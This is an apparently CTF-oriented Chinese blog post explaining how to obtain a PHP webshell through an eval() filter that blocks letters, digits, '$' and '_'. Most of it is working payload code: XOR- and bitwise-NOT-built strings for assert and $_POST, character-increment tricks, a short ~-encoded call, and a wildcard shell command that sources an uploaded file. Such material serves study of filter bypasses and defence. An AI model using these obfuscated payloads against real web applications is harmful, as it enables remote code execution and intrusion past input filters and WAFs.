Xi4or0uji's blog

没有字母数字获得webshell

字数统计: 978阅读时长: 4 min
2018/10/19 Share

基础版

获得webshell很简单,但是遇到waf的时候狗就不是那么有活路了,随便记记以防忘了。
先给个题好吧

1
2
3
4
<?php
if (!preg_match('/[A-Za-z0-9]/is',$_GET['shell'])){
eval($_GET['shell']);
}

可以看到有个eval函数,嗯,是个好东西,但是所有英文和数字都被过滤了怎么办

方法一

php有个trick,两个非字母的字符异或在一起可以产生一个字母,所以我们就可以这样去绕过了
首先用个assert函数去获得shell,这里注意一点是,php7以前,assert是一个函数,可以通过$a=’assert’;$a(xxxx)这样去动态执行代码,但是到了php7就不行了,下面还会给到php7的方法好吧,不慌

php5
先看一下这样一串代码

1
2
3
4
5
<?php
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert';
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST';
$___=$$__;
$_($___[_]); // assert($_POST[_]);

通过异或获得字母然后执行phpinfo()

php7
这里可以直接用原本的eval函数就行

1
2
3
<?php
$_=('%8F'^'%FF').('%7F'^'%17').('%8F'^'%FF').('%7F'^'%16').('%35'^'%5B').('%5B'^'%3D').('%34'^'%5B');
$_();

方法二

利用取反进行操作,汉字的utf-8编码提取其字符再取反,例如’来’{1}取反就是b
所以payload就是

1
2
3
4
5
6
7
8
<?php
$__=('>'>'<')+('>'>'<');//这里是两个true相加,就是1+1
$_=$__/$__;//2除2
$____='';
$___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__});
$_____='_';$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_});
$_=$$_____;
$____($_[$__]);//assert($_POST[2])

故2=xxx即可执行任意代码

方法三

在php里面,字符++可以得到下一个字符,举个栗子:’a’++=>’b’,’b’++=>’c’
那么怎么能有个字母呢,数组的在php里面是array,如果我们echo ‘[]’,是可以得到ARRAY的,又因为在php里面大小写是不敏感的,所以问题就解决了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;

$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;

$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);

升级版

好了,简单版的是这样的,如果后台加多个限制,不给用$和_,而且还不准超过35个字符怎么办

1
2
3
4
5
6
7
8
9
10
11
12
if(isset($_GET['shell'])){
$code = $_GET['shell'];
if(strlen($code)>35){
die("Long.");
}
if(preg_match("/[A-Za-z0-9_$]+/",$code)){
die("NO.");
}
eval($code);
}else{
highlight_file(__FILE__);
}

在php7里面,(‘phpinfo’)();这样是可以执行函数的,所以只要改一下里面的phpinfo,还是可以执行任意函数漏洞的,但是不给用字母,根据上面的思路,我们可以对ascii码取个反,继续执行
payload

1
(~%8F%97%8F%96%91%99%90)();

但是在php5里面不能像php7一样动态执行函数怎么办呢
跳一下出去,不局限在php里面,直接去执行linux也是可以的

1
?><?=`. /???/??????;`?>

如果有多个文件想要特别匹配的话,可以[^x]表示不匹配x,[0-9]表示这个位置的字符是0-9之间的,这样就可以特意匹配了

参考:
https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html
https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html

CATALOG
  1. 1. 基础版
    1. 1.1. 方法一
    2. 1.2. 方法二
    3. 1.3. 方法三
  2. 2. 升级版